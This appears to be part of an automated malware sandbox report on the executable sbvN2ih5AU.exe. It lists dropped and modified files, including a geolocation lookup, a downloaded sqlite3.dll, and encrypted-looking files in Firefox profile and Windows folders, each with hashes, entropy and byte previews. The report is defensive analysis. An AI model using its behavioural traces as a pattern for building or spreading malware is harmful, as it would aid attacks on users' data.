Entropy (8bit):	6.976668751990096
Encrypted:	false
SSDEEP:	6144:pfLgtyckjU51Vc7lLUvTlR2agQAYNMQSnjbeg:pfMtycGU5/klLUvTlR5Aiuv
MD5:	C4070DA9F9B0581171AF16E681CCDFF8
SHA1:	3FB4182921FDC3ACD7873EBE113AC5522585312A
SHA-256:	26063C78E5418610471A9F3A00A155D7D1E5B29856E1979BA3BDC42681A871D0
SHA-512:	C7569CEA7F1A841E7CAC9CD41287DBA3BCACF2CF9DEE7BECE88800848A7AD5DC4CD2BDC896C7389F0F1144079BBE168048B3F722BCD76FA5D6E14F3081BB6427
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`...$...$...$...:...5...:...v...:........A..'...$...x...:...%...:...%...:...%...Rich$...........................PE..L......d............................."....... ....@.................................W}......................................\U..(............................................................H......XH..@............ ..t............................text...y........................... ..`.rdata...=... ...>..................@..@.data...\|....`.......P..............@....tls................................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\geo[1].json

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	426
Entropy (8bit):	4.744298235175777
Encrypted:	false
SSDEEP:	12:YZOXwpHEx6uAsBzdI/p3dI/pa33m7c2JSydz:YRHDZsvIjIsm42cydz
MD5:	3FD05BEBE937C6D38A614D550586B827
SHA1:	BF15F4611FDD30BC069DA19CE112873F69AD8BB5
SHA-256:	F557051F4896C7EAF811760F0FCE91A9B6CDB4579C73DE27F878DB143C95B274
SHA-512:	788B974B89F6311EA7EE03FD5EC9DF53AAE0595269478B8D0E9B8BA38EF47B0020DC0CA2A58125B7BF4145C1D110DE005E17D1A75A01B90124ABDA041CE525B6
Malicious:	false
Preview:	{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d","region_ua":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d","city":"Washington","latitude":"38.89539","longitude":"-77.039476","zip_code":"20001","time_zone":"-05:00"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqlite3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1106998
Entropy (8bit):	6.500333177860392
Encrypted:	false
SSDEEP:	12288:dxylSMUMifofI9ayCvcZMBiMjCodEMdo8R66tCWko5+jsbFcoYuprzpGSgGSrz:d4AMB3caSZMijBI1CWkoj5auF5gGSrz
MD5:	1F44D4D3087C2B202CF9C90EE9D04B0F
SHA1:	106A3EBC9E39AB6DDB3FF987EFB6527C956F192D
SHA-256:	4841020C8BD06B08FDE6E44CBE2E2AB33439E1C8368E936EC5B00DC0584F7260
SHA-512:	B614C72A3C1CE681EBFFA628E29AA50275CC80CA9267380960C5198EA4D0A3F2DF6CFB7275491D220BAD72F14FC94E6656501E9A061D102FB11E00CFDA2BEB45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: kOVwcHSfrR.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: PbQI1np5cI.exe, Detection: malicious, Browse Filename: CinaQ61J8d.exe, Detection: malicious, Browse Filename: H88B1esQF0.exe, Detection: malicious, Browse Filename: n8JqyJSXnE.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: buildz.exe, Detection: malicious, Browse Filename: OIpWHA8mdz.exe, Detection: malicious, Browse Filename: XrNOw4sxMG.exe, Detection: malicious, Browse Filename: n1ppfW1lhW.exe, Detection: malicious, Browse Filename: 7yCti1JQXn.exe, Detection: malicious, Browse Filename: EdRzQIfoXb.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: buildz.exe, Detection: malicious, Browse Filename: build2.exe, Detection: malicious, Browse Filename: New_Text_Document_mod.exse.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Setup_Pswrd_1234.rar, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c...........!.....&...................@.....a.........................0.......:........ .....................................0.......................@...<........................... .......................................................text....%.......&..................`.P`.data...\|'...@...(...,..............@.`..rdata..pD...p...F...T..............@.`@.bss....(.............................`..edata..........,..................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc........0......................@.0..reloc...<...@...>..................@.0B/4......8...........................@.@B/19.....R............"..............@..B/31.....]'...`...(..................@..B/45......-..........................@..B/57.....\............B..............@.0B/70.....#............N..

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.997931876504456
Encrypted:	true
SSDEEP:	1536:Iv79UId4Wn0+viVn5BfI8cVUfYKTmAeaDPNGy3GdkXDkj7ytr+:gU44UE5mKfL593wkXwj7n
MD5:	B78C1CED4F0337650586616017A5F7D0
SHA1:	8B7C9875691FB62C57591D739FF08E5F2F03120E
SHA-256:	64EA0579FBB54913A5312200545D930285C5F215D8F4D70C45D2AEFBDCED21A3
SHA-512:	9940276DC4C206C8CA684B84BD9E43A9D19D4067B8E2E3D4D15C33C893743563D3D2EEC669990A8F347941BED16768EC6E9C35E1C72B1A5D43A1A120D14713C4
Malicious:	true
Preview:	'use .W.q.p/..;..w.......{"k.........^.!......z.#t....>`...V......Tb.(....F.A.O.^Y......#J..%..9..\|[.{..un..&.e.k..@.>....1.h..N.....<..d.dP...aB...........$......6..\1.....g.U../.7.x[....b....v.]....:...@.......I.&T.8.2......\9..,...Q.b.......\Y-M..{.z.g..o8.....E Y.R.....R....T.."...l..`.e3y....n`Q.a:=I...sg.....q.s.........F.I...R....E....t.-E\|.........;EQ.#.EP..... .$(..J.Y...<Y.A.EF....W.....\|.J...2..+..gh..h...{JEx...^B9....k.``......c...r\B.R.....dFM..!....dQt.q...UH....,Ko...~....Y.X........KJG..~#.<.0.h.y.....:....S4.S......"..S....1u..Fi...J7.M..c.r.+..._d.`.x...3..$. .X.;<H....._DM..{.Cw.DBf.9.......R...<..D%..j....xF<..irg......GA:.$S.......=:L.zQ....0....Y..` .Z..J....K<FH......D.m....@..-..J.8.e....@..w:........{;K.E.Ks.].....'Sj.......>.^\|.H...h@.F.].4...H...+.+7.......m 8cB. ..(..kz...gT......g..9$..).3..KE.._f.j7~.+..l.+..lZ..D.....T.@_.JY......y(a.O="....!6...T.5]..C..,.%.SJ.2!/.-.R..Y.9"/.G.'..Xg.n.....R.......g.$..^%}./

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	31496
Entropy (8bit):	7.993907499059202
Encrypted:	true
SSDEEP:	768:HOuFuLDVDDTMSrx0MVLHR/gmNlISIZA2ANpqHkyh:uYsWWx0oDR/gAGRFArG
MD5:	806367FA0FAAD11F61C0096660898256
SHA1:	8E641584EF6FF94C67B19CDC061831B160B2134B
SHA-256:	3D0C0C349CB0506FAB37B9892D68B6EF44526A86D11E86C18C231A5728EF0B52
SHA-512:	0575150B4BD82B480E830B1A77AA1C7CB25EF353803F53086075F28665E9447DB6ADF0F62B3A1F7300F5B176CFCEC33B656F0F615C8BC65BB79554D4B7346E0D
Malicious:	true
Preview:	'use .r.h.... .hV0.$.....ax......?...c]...~.L.G(.2..s.~F%.P.2N......2X.g..n...9M.q...2W{...."[.,.I....J..W.`D1..!\B,.B..G...+....O..H......{t......?O.xU.......~.5b.-N.(.P...z..S!/u....=...-....C:E{.p..\1.D&K_r...F..K.sS.7;.v.4....F.......E.^.6..D...4..e.bAl.^R....W...."Q.Y,.?M(D.1M.4..B...ly.W..R\.{..q4".=<.zP88......n[......>..iw=.V..F.=,........+...N.......N..).../...H.-BZ..&:..b.n...d.~.q..r........t..d....@\|..<;..N.J....."S".o.Et.f3.\...f..7f..QX....UsqA.!....O0.......7..=@.....Q.....b.M....@!.%...Y...F.s..~..C........A.1<.F..l.......,EF.z.?g.'.QaQ..A........w.....ib..Td~.NDRr[.7.M.{.?s..v2.......(.&4.$...i.6..h....nk.4lDg$.T.c.Wn.Y.IWC}4J.9...!J\|.......~?i...!1.V....]u..F'.:?$........e;3.........Z.W.5V..'.......G...&.9..Jy...{....!..H.s.C..6."......y3.r...x."{.....Sx..Xg%.j.(...\|......i1"....2..$..}....nw3.5.w....B3.....0..H..)...F ..YU.....>\...qJ.....M..ow..}k6...X=..h>...N.p1.t.U...f.>.-....da....f.......nx.e{;h.)"..>......V...

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.99164106645602
Encrypted:	true
SSDEEP:	384:U8zQPbicakoPakywRmOVpX14We6yKi4tyKDwThGVRbwQcD3h97vM/vd2x4Z:lzQWcoXRmOVDLesDwTA/M3h97kN2xs
MD5:	5BD4606A29D3435F198B41BC13F8C5F3
SHA1:	4E00E193CB1F171B54A164CEE20EDE80ABBFAA1A
SHA-256:	A5798C2E4C347EF9F7B69BD5636FC2EE229FBADCA84F3BE3F99AF9F2512EDF3A
SHA-512:	739915D5A2F0FB3C58BD737A491CE33617CA3770E7E8A43151A743D405392D2F5537C0DD1C6E1558FE93D1695361E93C58EA35101E8EB90D15F3FB8DB4401BA8
Malicious:	true
Preview:	.......>{...3.P80J&..t...@....^.Q.kb....[.l..y_c2.2..xX...Z.]".xo.,..:p.......#`@E..6v..s....n{Z...Is...w.R..$.n.G...;~.)..0...W..g...../`.Q......."...^..t..2.V{N\..........8!.q+D...q......V...@...E.%...3a..:.CGa....3..MZ....9....;......3......F.....ApN....+o.D....q.....@o"l..H..#b..Y=.1.....<.8F.N..c4.Db9..Y...M.M<.Ps,M.l. .B:jl..p.......7.Jll...)....c . .5...@..38.l....r.y.~tF.~.(.e.......k..x..B...=q.... :}..?...vA....wN?..........)R...........tc#.I .....D.A.....__I.c.d...T.t.._U..G4WeI#.M..<.p.2N..t..R...{k.Q(..9zH....}..!......Q........h....gU.\|N...(..8.@..KJ.5..!..!<..."..S/.......<...*..'...G....k;...Q.u^...I.}.......mr..4.h#..........9y.e..e.y.a..EI..kl..JC........)f&8E...-}Y...9..e..!m..../....".........=K.A5..,...f...:..c........_ya...#.7_6G}..b...)_........f..:D....I......./....H.....^..-$..C.y./..&..X.k .....s...'o.bg".C.5).)._.9-g..z.....=J..vh....g..^......b8/'.B..~.Z.1.....p.......N(..-.....I.%...p.q.\.,j...`.R!.q...\v....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.8916578751326485
Encrypted:	false
SSDEEP:	24:YKNHHXqZZI3VZRJFcfZln6pMEcsSp13jzxgVtMOeOEeOR2Vgax8U0KTIQt6I7D2X:YK3iZKVN8EVg1jlRQ8UZXV7wD
MD5:	D962B5D999BAE8A455BB899F614A698C
SHA1:	136ACE8D35F1C063A7775B602A2BEA29B9FFDA20
SHA-256:	74CEF21F9A7FD634AD3C7813365AF38DB942365CB2B1050EB92F0DD9E28036B5
SHA-512:	1926C73BC5B3157D9DC5B65A0C92D157DCFB142E0F22C87AA76DC4953E5DF7897451D671788C95CCC9F48219D29A2F82FA8B2D75ECD31B36BC45C3560FC245CF
Malicious:	false
Preview:	{"spo.../am.....D....Sx....#......Qa..>...\8..H.....^.\...Y.k.L..3.i..ueE.......!....1...........-...4M.X$U...N.>q.l.G...:...D..........%iX.v..x.9.`O).....g.........Z.j.9.e.$....K....a..V.:..(..3w.7.....K.v$..1i..%o..2......{....i.f#.2.~...>.E..<=!.;......3..q.c...I.C..J"D..Lk.>Z.....{.K..G.?..7yh..9D..59y./...s..1.H@...k......d...<..>.-!eDE.Y..aD.b;.];..(9:..#...0...):N.,...'%h9.t.5.+.lhU..9.M.....j....)x..r........v@'........$Y...t.e#D5..}b...B..z. /....e../..B.\|.&...{....%...e....+ ...=.e...!I4<.H....?.A.9G.....Cl......=...b...q.~.....'..:...,h..4..2.gwJq....._.V.=.Q...GD.k..I..ls..a7,1...P.5QG2..T...r.\|.p.x.<.4P..i.D6.)\C.::......W=......K..d .[.....x....2...0.i.YYniF..........f\....g.:...u.B...n.T..2..hG...G.#.........................1..:.k....\.g".......B.z.....v~.,.@.+....6#..7.=[..jvi..H........&..d]u.s.mm...H#k(.&..R./._.'..u...R.I0x..Wy.Oa..<ff.v..b.FH2....f..p.wy>@-...i9V.V.4..Yz.R..SJ.@4.M.......r..v[.5..Q..x..>?.K..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-child-current.bin

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2046434
Entropy (8bit):	5.076224949876088
Encrypted:	false
SSDEEP:	12288:FVwmbr9OZHZvC4xqcGG487l/bpO7oypPA1OEiCIuRhRuPoCnE2ZzNYLQhhWiqAgD:FVxB4HScGGR7l/bqs6BjUNR+w
MD5:	D4AFA7A3E209FD64C46982A6F1EA58A5
SHA1:	B749CEEA4F964123E0D0F43785247F35245C156B
SHA-256:	FF72005E8BAB275CAE1C9F6AFA0737586A639D3770BBBA6684FC275F349E290C
SHA-512:	045A6072D044EED5996F5ADC0E21A5CBB2EBF3E3A5C352D15CB0ED2682385F82BCF67CAD56B416209EBAE03BFF8A25143F952B03EA98E860F327978FEEED36E6
Malicious:	false
Preview:	mozXD`V....n.....d..(.v..d.....c....l..oh...<.O.q......1..g.r..`...V.......G..k.z.D.!k.;.O.. S.0.CD....5...o.i..S.g.............!KZ.V...GI..3.<.}h.b..V...W.E&..^....\.S.Zy..!.u.........@Y.(..h.I..)..3.B.%.P3....QB..{...f.t.....5.U.J..&N.3Y.?<.....?.....P.O3T..9.....\..+.....zn.&.X..AG..N...i....!T5...1z....2.'5...[.?..g.k../.E..LUo.>.)..$<<.6.Q.{H.M.....b...>...^.9..B;.v.U#mj.vq>.F.E.6......5Br8..w.....&9r.Zc...;..........t....4.7%.4....S.T....5...t.KH.m^qG..\|.....Jw.......w.K1. .....Q>C...v..5...........{8..".....h.5^X@~..`W..Z..b....X...o.s.m..j...G..5....6......l..J....:#.......H..?.......{.9d..@....O4G.....".;..@. ..).>FL35.k...<(.`..13.xr...,.[.(..e.M..}.G.W?.........\.}..h.'.(.m.QQo..=.4..R....c.~P?I.(...._..\\...\..Z&$&....$....fy.(.....#. ]..e..k}}.O..x4...F..1..kX...J..7...o&>.....\.e..Y....Oy]...$.e.........x.E....f.7..<.0......;.-..Z.7G]..V..R.97:6....".H..}-.@.U..".a{MR.brO...S~....U.D.../.~A..9_....U........{..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-current.bin

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8387278
Entropy (8bit):	4.802634463180563
Encrypted:	false
SSDEEP:	49152:SLwTv3Dxd4C4sWDc+ikpXGGRAuAgdyR+FwDkly0CNG1Kl/S/qyal+6N7hS5BLVni:Rv8EW5IdVgdy6gn/SSyal+rPk
MD5:	9E48E2A7645D8F6628A67C6F2188522D
SHA1:	EDDEA285B35E4B0E56C7F11DEFFA7F1EB6A3F36A
SHA-256:	EB88496E073961E777090C88883F87F7E501065BD1C5D060377C598262F07907
SHA-512:	13EC59FE88D802330B11EE2F50ED58ADDD052AFC688B0EDA449888A75579623A5B64C20BE2A63774B9A54BB3564D5232684930CE6CF53F5B905842223A94D066
Malicious:	false
Preview:	mozXD...$.a..b.)...8]..}....S.PS..7..c....J..m...7..:;w.SR.p6......Q.6...:.Jj..H_.....K...$sUR..vJ3.9U.[\.#......n.\|.10......Yy/.?B^.IN.w`...4.....'.........`\.....l.Qa..5...Wn..J..q1....'w]7VN8,Ze..).......k]../.C............e...fTS9?6..s.YH..D-...Q%..y.,.b..m9.\|.H.H...\..f...5#..0PR .s.5......Ll..lBR.=..J...VF.ffZ.....g.a.>........K..$.P..Y.....f.Z....a.z....@h..............X....f0/4..)....B..-Z..j.35..XD.:.B-.4...X.Y9.........4..l...5K!76._...[gh...{.p...h.=@.e.u..\|..1.sIK..4/.W...Ijjz.e...@Y.e0....#..c.no..].G.::3J..{ks9Ey....$B.i....h....gX.J..L}.(..?....._H0...d.......}..!..h...>.eFw..6..3.Bt;.c..-.../..Ua..(..6V.....&.H..".Q}.._...Z...L...p.....*mn......\|.-.n?.G..`....3\/...3..W.A....9.L......X...I.q.1....f.l..L...l..E.^.\|...&.H.."Fo$..@......$p.....c.L......#.#.$.^....c...)..L..B..."w.....sH.`.m. qZ)D..-..+.(......1.E6zO..._..uR.V...}...E......N..7.4.....O..[.....U.G8T..Z. ..c$...n...>....F-....2. ..B`.8>...=..+.5.9.x.U.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\startupCache.8.little

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2620287
Entropy (8bit):	6.998746870234786
Encrypted:	false
SSDEEP:	49152:PjtnGtoM99IrJxEhfSI9CyYlNjcHu/Ekw:7tCJIYfS8qlJVw
MD5:	28B5FB66FA7F853FE16E8515D5603E74
SHA1:	C117743A550CE54DF9E57DD2D0AE78C4A0A83431
SHA-256:	677F2323BA267028C3F7B2720A1A20B421C5BB0A0144A5B11934DBC9BD53818E
SHA-512:	598C635430A3B560BFBB388357535E581DDE621AC0C76C9ABB3B96777727D18F6DA71DD5A721916747A1428DC36FB97F50B256CB3C536243F54086C3B745B932
Malicious:	false
Preview:	start....P..._.A...O.....\...?..Z-.N.+{].....1b/.R.C..N!vF ...#...e3....,.[+v... ..P.@...Z.q.~..Y...r....v....^.La2.z..f...N.@..t....@.-...4."..^.../..j..../.I.t.....a0..9Uz.#...t+.....c.C..bA..r.......p..J..,..tZ..14.........i....D.FH.\|.'F..<.Z..>ds.p.M!.^P.D...%..Li..c....W.L..................X#B..?h.E.}/...i..Y8K...".h..=HT..k..%...p:........{.."......-.q;L+Q=....?.w:...]..].W......[~l..H.G..2."....u.4.=J..M^<.%..,.]..4K'..Z..x2....(.O..........v.m....Lb.~......RT_..!o..1...,.zn..4..d.......J.^..I...H.."s..X..E....A...w.+......nL...=..2.@h..6{z.~~..Df...GE.~.g..M.t..../J.z......%:...L........;.H)..@wq....K.$O....uY..5...}...x...y...r..%....{Y.....i..z.Xv67.B(.X........`#.w]^..H..F..j.....X...K. ].J2...$.63/.SX..........+...&....(h....q'r...O.t..e....x...1.....bK+y6.L>.9..[U....O...L\|x.zr..,\|.[.N..As..:..}...O..T8..].t.+$M(_.."...l...4.... S..-{.o.k!.%t9B4......X.)...&.&p....h.7~.u7.O@gZ..W.[.]_...z.C.L.....dO.s..o.....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache-current.bin

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.936471437796285
Encrypted:	false
SSDEEP:	48:3zc1NqLyzVb9dD7t2EAqqMtPlIlgn1PQpwRpcfGOQ5QnjLjWD:3zRmuEAdMtxn1YpsHOQOnS
MD5:	023A0D5C85F92E77C13D422214DBF26E
SHA1:	21F3AA843CC6162291BD5C8354FCA7C236AC7D7D
SHA-256:	90333017407404AB2895EFB8302395D24FB0543CB4E8A73A85A814CB82A6B120
SHA-512:	1001A870BF1797C534C1AA9C5357A48521BA80F142D7C7A348E911A1E19B759FBE2C0F8807663CD0CCBA0995CF289AC51747399D32A3D95C42BD21CCAACEC674
Malicious:	false
Preview:	mozUR......z..m...R......9`v=...........`..Ak.f...N\\I..7..Q._...r.......* .).O....Y.I..g.".l.5....f37......n.RE......Q...d..a$.P...fhAl..~.6....?65q...g.Z.5....$..rT......CP......5......(......N.....e.....!.y.\..Y.......]..E....H(`.....:."...Y..[.H.<.....r..5x.1.SF&..3]u..m...E=..M -.A.>.$./JI.;.p.....E.`.B..'.."7S.vN..yl[..s9G..\.N?u9.l/....+05......B.G...Z........$m.n]..T}..sp..m.1l.......h......)..LC.0.......Y....$.8+...F...f...F5;R..Y.$.Wb?.Xl.........~.-./..=....2V ]..(.`...n....b.....]z.I.D...'..W......5P ..1!.io7nT.6.:.`K.\.1..e@....O..O...R...v..W. 3..).v}.Q/.... J........r.lk."+.M:...,.>.O+..:.....&]/.?......H...sNY..R/.....A.(.(....%....c..#:'l.&....p8..F...?.......wq..}.....2...]=.W.N.X,....Q]y.h..jm.......G.qJ.%....1..N...>....BH.-.g.S`5..u2....@..vH<JFM....\|...R...v..H.^.......(.i.2....wD..h'}..7~...g.O. 1.r.w...._.u......._.s....2.F.k....&.....flxb..F)..%1...B4..S@.y,0K.e`}1v~.c..yv>..s..O]..U.>..3.UL..;P_......%d..1.e`$w.@.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache.bin

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3739
Entropy (8bit):	7.953806257437185
Encrypted:	false
SSDEEP:	48:vrV7cz0973FJpiPG24UPbI1IJs0+wHYaDVvBLqYF58yv81XjUKyrpKQOaUKrD:57V7VJpglI1IJ/DJLqYF58rwO5+
MD5:	0317CAEA06A34B8C6F62082F991577A9
SHA1:	986580D49EB11E8672B706694ED8BEC4A22C4042
SHA-256:	8E64DDB43002AEB2DD2A3D436EC190E780233261534217933271D0C3C3C764D5
SHA-512:	09B15013ED4FC3D2C2828211E7D1A0E86B16A5A62680A964D8CC5CFEF6109455F589CE68227A9F211752AF030FE5B6074D43B3044AACB38691D3425262D531D9
Malicious:	false
Preview:	mozUR.k.Z.7..2~...MK..O...m..K.7?..(.. n)...jm.8.H..7.R."x.>."..9.."dl{....n....o....<(...k..59r)......X;.s..Xh'R......F....>tk.x]'..<Y...O....rh......5e2"......[..3R.$.........He~....m........{.._..'{SV..Fh{.'?Z~..B....+{.b...d..,....T;.8....T...No.D .B.....H..=hDf..oHZ...71s&.........X..:\|6..5.Q.....J....U..z......N.(..m..j....}.a..^..\|...fM.g..}..,.\.m..+R.S......b.....~.......M.?..D.....75}.3P..)......:p.....:....#.rx.S.....V..j\.W&....._....c.....R..NA.?..'r..}W...a....pC.r.+....y.$..,.\z....!9x.6I..t.H....j.7 .q.s.2+..{..:....S....,m...!........T&fE....^t..&<.2...N\Z.&...y.....16..k'..fZ.t.G&.;%.e.B....o<.z.ft.O3QP....}.0?g.....>Q...Q..K/.w{.FC.n...l......oI..Bm.:...o.F..h. .s.B..At...i....r..Y.0s.,.`.B].........~@..0"..w....'..._o...Lh....p+.-.cNu:...&)Q0....>.C.>>.......=......".#S...Zg$.....%C+.}X.......'..h...R....A.g..D...h:...s...=}...4.z<..;...._...*k6....R..;/x[t83h......F6o.<.M).....-.\...................~}.tL.)..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	110692
Entropy (8bit):	7.998292411527986
Encrypted:	true
SSDEEP:	3072:+a6uPbjDz5l83RPQ6Ta2Ym8TltLCZLVBV:+a6uf5leQga2ijLCZ9
MD5:	A8BA0FC3267127B03558582E46E476A5
SHA1:	106B0C796DA5B226E1977E9610545FF3390D50C0
SHA-256:	DDD506A814FB6429D00E28A9BD7FC5B7CECE261E8F0F12E012E77447DBA81A00
SHA-512:	27B61671888584A428E18CE066D0A25962662A0103A2A5A8935D760DC2864EDCE65A44800826D87A7CFEF4305848A8D2B98EB88B21EB000549D10D7D16244F5F
Malicious:	true
Preview:	mozJS".U....F.....b...N.0NTL..v.....U.pL~...._B....{qg..;:..D%..WF3..fq. ..p<.5.,.o....K... Ci...Q.A....)Ic....G^Sg..Q...Q.....Q0..B..rC..y..%.`m..r.^.a.De.D.=..3..G.^....\|.P..ec..e.i.(..62......1..V...5K.GS...,q....%...E..>S......WK.>...S.1T..."r.....<Qi0.;E..nv..yZ.I.........\.r4.E.......=`...>....{.(.D:....=....l..v4c;...H...8q..aL...e.....<DeO.......ws:.X...../....Z[..C....Z...dZZ.k.....`e8.0....:..#.8wlG.e.=r.4S.....pVs.....\5..X.u....n..........(.1.....j..........sm...g...@.r.n...mo\|s..b......]~xl+]....M~`@U..x.E..k.g..A..kO.K.%.....lb.....r32.%.fi.......u{&.,Fv...oTi......;.t>i....,..C.f\|c.Q.._\|Yx..... 4c...e...).U.a.8...E......`.f.....!8^.h......D.V.}m.O.^.....o.b...v...6..A.zLT.....]^]z.J..P..T.V_...T...L...6..w...}.Gj$...'.%....+....e0V.\|+..."./=....PG.>.'U.9I...RoH>.Kx...!..MC..'J.h$9...G.......J.7AHg"c...."#.C.R.B.:j......q?..H..tf.....M..\|H.1>...Ef.g...".)....HL......sBqu..?.:..G..S64}.$........%F;...U.<.\|.J.x..P{....u.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97862262358556
Encrypted:	false
SSDEEP:	192:TgqxzCu5Tv/QPqRuGeJdSWhwtmJBxecYo+uIP5TvjH:THxz9h/QPQurI4wgJBxytuC5vjH
MD5:	E414E0645CDD2559104EF9AFFDA79D1B
SHA1:	E100D3FD0A8B477B7BD71350393DC834479D15D2
SHA-256:	920C472B64A3306687870A3144D7FB10A4584C632A3422635F765191831389F0
SHA-512:	171E08F87ADE548938C52E24BD0851AB1FD56A2DA53EE8F72988EFF6F2687E26717112771ADBBC86E82D13802B981777EB1C60E0EEF5C173F73EF6A5F06EAC85
Malicious:	false
Preview:	regf..Now.#...{d...&..y..9..2i...$...2.F..O..N.....E........ds..4.V....V.'.J..DD...&.......S..1.`..8].U.......d.......G...p..\|..w....e..`.G.i.(\|7X...!..L...2^.J6.`...,....m..._0..>..+..5..#I.,MFO../Q../O2.GfN{y..._B.F...w...'lr..e......3.=........O..+.z.W..o.r.oy..!8....]...6..v.K...@.2.61~1....2a.....m.A.J9...k-....jf8x.3e.&"Y...bi.&.yv&.Nr.I............M".aP.X.....[...P'....<.'R....V.....2;X.Q.;.WF....(...;.vu..BKOO.....66..2...D?7.N..3.)..M.........F;I.!..2..F..0.}b/z.Tl[y..e.Q(....C.[......H...O..-'...2..w.Y1....fW..=....(y....T...vF\|...`...QI#-....J....7....?...1...........F......k...>.1C...."s.>[....q....%H.M.k.5./.?...._#.D.....+?......d.Y.9...l....L.Q.-........./e.3.&.%.p&.S..!.......9/.@...;.@..kh...#....3....E.xy.%4..a..Jq..L.n\.g...W....2K...M...s8.".6.W4......V...6......^...\|.-.M._..M{~.6..*..$...-......=z..4..>G.k....#t.zD...G...08.iy...<....n9uJ..<..........K.At..y......H.N>.!<..'.bvH).@..u$e.....2.ti.#....9#..&.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976775387562855
Encrypted:	false
SSDEEP:	192:qqNOHIja0wAlW54On4NXbTHRms+BamA0RKK1/6CJGLlM/Yt/2o7q92GzI:qqeIjFwAlW54nNrTxJMc031nGL5tuFXI
MD5:	7A496ECAB989251A1FFC84706D2016A0
SHA1:	19E7B3389DB9849BCE473976C5667358CBD7B175
SHA-256:	7D9BC73CF2B81AB7315F3FE868AA2E4D871F8F830133D72A48A0926EAA771054
SHA-512:	774594695C9DFB691FA5C87FB5D94D055FB19AA34BB68D4EE19AECBD7FA47ADA15E116067374C2CAD0138BD37F7F7BD84FAF6A3208C584B1A8B13ACC09F6A828
Malicious:	false
